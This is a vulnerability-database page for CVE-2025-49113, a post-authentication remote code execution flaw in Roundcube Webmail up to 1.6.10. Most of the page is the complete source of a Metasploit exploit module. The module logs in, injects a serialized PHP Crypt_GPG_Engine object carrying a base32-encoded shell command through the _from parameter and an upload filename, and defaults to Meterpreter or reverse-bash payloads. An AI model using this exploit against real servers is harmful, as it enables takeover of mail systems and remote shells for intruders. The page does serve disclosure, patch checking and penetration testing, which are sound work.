Lucene search
K

📄 Roundcube 1.6.10 Remote Code Execution

🗓️ 11 Jun 2025 00:00:00Reported by Kirill Firsov, Maksim RogovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 101 Views

Roundcube up to 1.6.10 allows remote code execution via server side object deserialization when authenticated.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-49113
19 Aug 202502:35
githubexploit
GithubExploit
Exploit for CVE-2025-49113
18 Jun 202519:10
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
githubexploit
GithubExploit
Exploit for CVE-2025-49113
10 Jun 202515:21
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Roundcube Webmail
11 Apr 202621:54
githubexploit
GithubExploit
Exploit for CVE-2025-49113
3 Jun 202519:04
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
githubexploit
GithubExploit
Exploit for CVE-2025-49113
22 Jun 202516:13
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
githubexploit
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
            'Description' => %q{
              Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
              by authenticated users because the _from parameter in a URL is not validated
              in program/actions/settings/upload.php, leading to PHP Object Deserialization.
    
              An attacker can execute arbitrary system commands as the web server.
            },
            'Author' => [
              'Maksim Rogov', # msf module
              'Kirill Firsov', # disclosure and original exploit
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49113'],
              ['URL', 'https://fearsoff.org/research/roundcube']
            ],
            'DisclosureDate' => '2025-06-02',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            },
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => [ARCH_CMD],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'DefaultTarget' => 0
          )
          )
    
        register_options(
          [
            OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
            OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
            OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
            OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
          ]
        )
      end
    
      class PhpPayloadBuilder
        def initialize(command)
          @encoded = Rex::Text.encode_base32(command)
          @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
        end
    
        def build
          len = @gpgconf.bytesize
          %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
        end
      end
    
      def fetch_login_page
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'keep_cookies' => true,
          'vars_get' => { '_task' => 'login' }
        )
    
        fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
        fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
        res
      end
    
      def check
        res = fetch_login_page
    
        unless res.body =~ /"rcversion"\s*:\s*(\d+)/
          fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
        end
    
        version = Rex::Version.new(Regexp.last_match(1).to_s)
        print_good("Extracted version: #{version}")
    
        if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
          return CheckCode::Appears
        elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      def build_serialized_payload
        print_status('Preparing payload...')
    
        stager = case target['Type']
                 when :nix_cmd
                   payload.encoded
                 when :linux_dropper
                   generate_cmdstager.join(';')
                 else
                   fail_with(Failure::BadConfig, 'Unsupported target type')
                 end
    
        serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
        print_good('Payload successfully generated and serialized.')
        serialized
      end
    
      def exploit
        token = fetch_csrf_token
        login(token)
    
        payload_serialized = build_serialized_payload
        upload_payload(payload_serialized)
      end
    
      def fetch_csrf_token
        print_status('Fetching CSRF token...')
    
        res = fetch_login_page
        html = res.get_html_document
    
        token_input = html.at('input[name="_token"]')
        unless token_input
          fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
        end
    
        token = token_input.attributes.fetch('value', nil)
        if token.blank?
          fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
        end
    
        print_good("Extracted token: #{token}")
        token
      end
    
      def login(token)
        print_status('Attempting login...')
        vars_post = {
          '_token' => token,
          '_task' => 'login',
          '_action' => 'login',
          '_url' => '_task=login',
          '_user' => datastore['USERNAME'],
          '_pass' => datastore['PASSWORD']
        }
    
        vars_post['_host'] = datastore['HOST'] if datastore['HOST']
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'keep_cookies' => true,
          'vars_post' => vars_post,
          'vars_get' => { '_task' => 'login' }
        )
    
        fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
        fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
    
        print_good('Login successful.')
      end
    
      def generate_from
        options = [
          'compose',
          'reply',
          'import',
          'settings',
          'folders',
          'identity'
        ]
        options.sample
      end
    
      def generate_id
        random_data = SecureRandom.random_bytes(8)
        timestamp = Time.now.to_f.to_s
        Digest::MD5.hexdigest(random_data + timestamp)
      end
    
      def generate_uploadid
        millis = (Time.now.to_f * 1000).to_i
        "upload#{millis}"
      end
    
      def upload_payload(payload_filename)
        print_status('Uploading malicious payload...')
    
        # 1x1 transparent pixel image
        png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
        boundary = Rex::Text.rand_text_alphanumeric(8)
    
        data = ''
        data << "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
        data << "Content-Type: image/png\r\n\r\n"
        data << png_data
        data << "\r\n--#{boundary}--\r\n"
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => data
        })
    
        print_good('Exploit attempt complete. Check for session.')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jun 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.9
EPSS0.90469
SSVC
101